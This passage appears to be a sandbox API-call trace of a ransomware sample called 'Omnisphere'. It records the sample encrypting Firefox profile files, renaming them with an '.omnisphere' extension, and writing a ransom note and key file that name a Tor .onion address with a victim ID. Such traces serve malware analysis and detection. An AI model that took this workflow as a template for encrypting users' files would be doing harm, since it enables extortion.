pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0161.568] CryptDestroyKey (hKey=0x1639b28) returned 1 [0161.568] CryptReleaseContext (hProv=0x1668ac0, dwFlags=0x0) returned 1 [0161.569] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15f, lpName=0x0) returned 0x3c0 [0161.569] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x15f) returned 0x1480000 [0161.569] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x1668c58) returned 1 [0161.569] CryptImportKey (in: hProv=0x1668c58, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639868) returned 1 [0161.570] CryptSetKeyParam (hKey=0x1639868, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0161.570] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0161.570] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.570] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.570] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.570] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.570] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.570] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.570] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.570] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.570] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.570] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.570] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.570] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.570] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.570] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.570] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.570] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.570] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.570] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.570] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.570] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.571] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.571] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.571] CryptDestroyKey (hKey=0x1639868) returned 1 [0161.571] CryptReleaseContext (hProv=0x1668c58, dwFlags=0x0) returned 1 [0161.571] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x15f, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0161.571] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0161.572] GetProcessHeap () returned 0x1600000 [0161.572] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2ce) returned 0x174af98 [0161.572] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\xulstore.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\xulstore.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\xulstore.json.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\xulstore.json.omnisphere")) returned 1 [0161.573] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\xulstore.json.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\xulstore.json.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\xulstore.json.omnisphere.id" [0161.573] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\xulstore.json.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\xulstore.json.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0161.574] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0161.575] CloseHandle (hObject=0x388) returned 1 [0161.575] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0161.575] CloseHandle (hObject=0x3c0) returned 1 [0161.575] SetEndOfFile (hFile=0x288) returned 1 [0161.576] FlushFileBuffers (hFile=0x288) returned 1 [0161.578] CloseHandle (hObject=0x288) returned 1 [0161.578] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\xulstore.json" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default") returned 1 [0161.578] GetProcessHeap () returned 0x1600000 [0161.579] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x174b270 [0161.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0161.579] GetProcessHeap () returned 0x1600000 [0161.579] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1733f18 [0161.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1733f18, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0161.579] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0161.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0161.579] GetProcessHeap () returned 0x1600000 [0161.579] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x17264f8 [0161.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x17264f8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0161.579] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0161.579] GetProcessHeap () returned 0x1600000 [0161.579] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x172c628 [0161.579] PathCombineW (in: pszDest=0x172c628, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" [0161.579] GetProcessHeap () returned 0x1600000 [0161.579] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x173dc60 [0161.579] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0161.579] WriteFile (in: hFile=0x288, lpBuffer=0x173dc60*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x173dc60*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0161.580] CloseHandle (hObject=0x288) returned 1 [0161.580] GetProcessHeap () returned 0x1600000 [0161.580] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x174b270 | out: hHeap=0x1600000) returned 1 [0161.580] GetProcessHeap () returned 0x1600000 [0161.580] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc8) returned 0x162c388 [0161.580] PathCombineW (in: pszDest=0x162c388, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" [0161.580] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0161.580] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0161.580] CloseHandle (hObject=0x288) returned 1 [0161.580] GetProcessHeap () returned 0x1600000 [0161.580] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c388 | out: hHeap=0x1600000) returned 1 [0161.580] GetProcessHeap () returned 0x1600000 [0161.580] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16415f0 | out: hHeap=0x1600000) returned 1 [0161.581] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8154a58, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb8154a58, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb8154a58, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x15f, dwReserved0=0x0, dwReserved1=0xcc, cFileName="xulstore.json", cAlternateFileName="XULSTO~1.JSO")) returned 0 [0161.581] FindClose (in: hFindFile=0x16395e8 | out: hFindFile=0x16395e8) returned 1 [0161.581] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\*", lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x4166a63d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x4166a63d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1639b28 [0161.581] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x4166a63d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x4166a63d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0161.581] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd0aef8, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x3dd0aef8, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x41690832, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x0, dwReserved1=0x0, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0161.581] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a3ab44, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a3ab44, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3dce356d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x53c, dwReserved0=0x0, dwReserved1=0x0, cFileName="addons.json.omnisphere", cAlternateFileName="ADDONS~1.OMN")) returned 1 [0161.581] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dce356d, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x3dce356d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x3dce356d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="addons.json.omnisphere.id", cAlternateFileName="ADDONS~1.ID")) returned 1 [0161.581] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfea98376, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfea98376, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3dd2fabd, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x7b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="addonStartup.json.lz4.omnisphere", cAlternateFileName="ADDONS~2.OMN")) returned 1 [0161.581] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd2fabd, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x3dd2fabd, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x3dd2fabd, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="addonStartup.json.lz4.omnisphere.id", cAlternateFileName="ADDONS~2.ID")) returned 1 [0161.581] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x143f0f49, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x143f0f49, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xb81085d6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlternateServices.txt", cAlternateFileName="ALTERN~1.TXT")) returned 1 [0161.581] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd843d8c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfd843d8c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3de8715b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x44b8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="blocklist.xml.omnisphere", cAlternateFileName="BLOCKL~1.OMN")) returned 1 [0161.581] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de8715b, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x3de8715b, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x3de8715b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="blocklist.xml.omnisphere.id", cAlternateFileName="BLOCKL~1.ID")) returned 1 [0161.581] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe9b352a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe9b352a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfe9b352a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bookmarkbackups", cAlternateFileName="BOOKMA~1")) returned 1 [0161.581] GetProcessHeap () returned 0x1600000 [0161.581] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc2) returned 0x162bd08 [0161.581] PathCombineW (in: pszDest=0x162bd08, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="bookmarkbackups" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\bookmarkbackups") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\bookmarkbackups" [0161.581] GetProcessHeap () returned 0x1600000 [0161.582] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc6) returned 0x162c938 [0161.582] PathCombineW (in: pszDest=0x162c938, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\bookmarkbackups", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\bookmarkbackups\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\bookmarkbackups\\*" [0161.582] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\bookmarkbackups\\*", lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe9b352a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe9b352a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfe9b352a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbb, cFileName=".", cAlternateFileName="")) returned 0x1639528 [0161.582] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe9b352a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe9b352a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfe9b352a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbb, cFileName="..", cAlternateFileName="")) returned 1 [0161.582] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe9b352a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe9b352a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfe9b352a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbb, cFileName="..", cAlternateFileName="")) returned 0 [0161.582] FindClose (in: hFindFile=0x1639528 | out: hFindFile=0x1639528) returned 1 [0161.582] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\bookmarkbackups\\*", lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe9b352a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe9b352a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfe9b352a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0074, dwReserved1=0x2a, cFileName=".", cAlternateFileName="")) returned 0x1639568 [0161.582] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe9b352a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe9b352a, 